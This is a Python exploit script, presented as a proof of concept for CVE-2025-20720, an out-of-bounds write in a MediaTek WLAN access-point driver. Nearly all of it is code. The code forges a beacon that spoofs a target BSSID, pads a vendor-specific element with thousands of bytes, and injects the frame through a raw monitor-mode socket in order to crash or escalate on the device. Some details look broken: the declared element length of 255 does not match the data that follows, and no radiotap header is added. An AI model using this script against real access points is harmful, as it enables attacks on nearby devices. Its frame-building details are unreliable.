CVE-2025-20720

# CVE-2025-20720 - MediaTek WLAN AP Driver Out of Bounds Write PoC # Vulnerability: Incorrect bounds check in WLAN AP driver # Attack Vector: Adjacent network (requires proximity) # Reference: Patch ID: WCNCR00418954; Issue ID: MSV-3569 #!/usr/bin/env python3 """ Proof of Concept for CVE-2025-20720 MediaTek WLAN AP Driver - Out of Bounds Write via Incorrect Bounds Check This PoC demonstrates the concept of crafting a malformed WLAN frame to trigger the out-of-bounds write vulnerability in the MediaTek WLAN AP driver. NOTE: This is a conceptual PoC. Actual exploitation requires: - Proximity to the target device (adjacent network access) - Raw frame injection capability (monitor mode wireless adapter) - Knowledge of the specific target's memory layout """ import struct import socket import os def craft_malicious_wlan_frame(target_bssid, ssid, payload_size=4096): """ Craft a malicious WLAN management/data frame to trigger OOB write. The vulnerability is triggered by incorrect bounds checking when processing frame payload length or field offset. """ # IEEE 802.11 frame header frame_control = b'\xb0\x00' # Beacon frame duration = b'\x00\x00' addr1 = b'\xff\xff\xff\xff\xff\xff' # Broadcast addr2 = target_bssid # Target AP BSSID addr3 = target_bssid seq_ctrl = b'\x00\x00' header = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl # Malicious payload with oversized length field to trigger OOB write # The bounds check fails to validate this length properly timestamp = struct.pack('<Q', 0) beacon_interval = struct.pack('<H', 100) capability = struct.pack('<H', 0x0411) # SSID element with manipulated length ssid_element = b'\x00' + bytes([len(ssid)]) + ssid.encode() # Oversized vendor-specific element to trigger OOB write # The driver fails to properly validate the length before writing vendor_element = b'\xdd' + struct.pack('<B', 0xff) + b'\x00\x50\xf2' + b'\x41' * payload_size frame = header + timestamp + beacon_interval + capability + ssid_element + vendor_element return frame def inject_frame(interface, frame): """ Inject the crafted frame using raw socket. Requires monitor mode and root privileges. """ try: # Create raw socket for 802.11 frame injection sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) sock.bind((interface, 0)) sock.send(frame) sock.close() print(f"[+] Malicious frame injected on {interface}") except PermissionError: print("[-] Need root privileges for raw socket access") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Configuration TARGET_BSSID = b'\x00\x11\x22\x33\x44\x55' # Replace with target AP BSSID TARGET_SSID = "MediaTek_AP" INTERFACE = "wlan0mon" # Monitor mode interface print("[*] CVE-2025-20720 PoC - MediaTek WLAN AP Driver OOB Write") print("[*] Crafting malicious frame...") frame = craft_malicious_wlan_frame(TARGET_BSSID, TARGET_SSID) print(f"[*] Frame size: {len(frame)} bytes") print("[*] Injecting frame (requires proximity to target)...") inject_frame(INTERFACE, frame) print("[*] If the target is vulnerable, the OOB write has been triggered.") print("[*] Check target device for potential crash or privilege escalation.")

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